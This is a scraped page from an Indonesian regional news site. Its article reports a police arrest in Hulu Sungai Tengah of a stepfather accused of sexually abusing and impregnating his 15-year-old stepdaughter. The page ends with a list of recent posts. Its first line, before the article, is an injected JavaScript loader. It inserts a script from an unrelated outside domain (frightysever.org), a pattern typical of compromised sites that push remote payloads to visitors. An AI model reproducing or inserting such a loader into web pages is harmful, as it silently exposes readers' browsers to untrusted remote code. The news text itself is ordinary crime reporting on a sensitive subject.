(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HST

Gauli Anak Hingga Bunting, Ayah Tiri Ditangkap Polres HST


BARABAI, Tindak asusila pencabulan di Kabupaten Hulu Sungai Utara (HST) terungkap. Gadis belia berumur 15 tahun, A, menjadi korban ayah tiri hingga bunting. Sang ayah tiri berinisial AH, tercatat sebagai warga desa Hapulang, Kecamatan Haruyan, Kabupaten Hulu Sungai Tengah (HST).

Cerita bermula ketika bulan Juni lalu, keluarga merasa curiga terhadap perubahan bentuk badan korban dan menanyakan langsung kepada A. Meski pada saat itu pihak keluarga hanya menanyakan perubahan bentuk badan saja, korban diketahui tengah mengandung ketika mendapatkan laporan dari keluarga yang berada di Banjarmasin, pada 6 Juli 2019.

“Beberapa hari setelah menanyakan kecurigaan, korban diketahui pergi ke Banjarmasin. Dari keluarga yang ada di Banjarmasin dikabarkan kalau korban sedang mengandung dan siapa yang melakukan perbuatannya,” ujar Kapolres HST AKBP Sabana Atmojo.

“Ternyata, AH yang adalah ayah tiri diduga melakukan perbuatan asusila itu,” kata Sabana Atmojo.

Setelah mendapatkan laporan dari keluarga korban, Polres HST melalui anggota Satuan Reserse dan Kriminal, melakukan penyelidikan. Hingga Sabtu (14/9), sekira pukul 04.00 Wita, pihak kepolisian akhirnya meringkus tersangka AH di Kabupaten Kutai Kartanegara, Provinsi Kaltim. Setelah sebelumnya sempat menjadi Daftar Pencarian Orang (DPO).

“Berdasarkan pengakuan korban sewaktu dimintai keterangan, diketahui tersangka mencabulinya sebanyak tiga kali,” tambahnya.

Kini, bersamaan dengan barang bukti yang sudah diamankan, tersangka bakal dijerat Pasal 81 Ayat (2) PERPU No. 1 Tahun 2016 Jo UU No. 17 Tahun 2016 Jo Pasal 76D UU No. 35 Tahun 2014 Tentang Perubahan Atas Undang-Undang Nomor 23 Tahun 2002 Tentang Perlindungan Anak dengan ancaman penjara 15 tahun penjara.

“Saya ucapkan terima kasih atas bantuan masyarakat sehingga tersangka dapat ditangkap. Dan untuk tersangka, akan diproses sesuai dengan hukum yang berlaku,” tuntasnya. (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.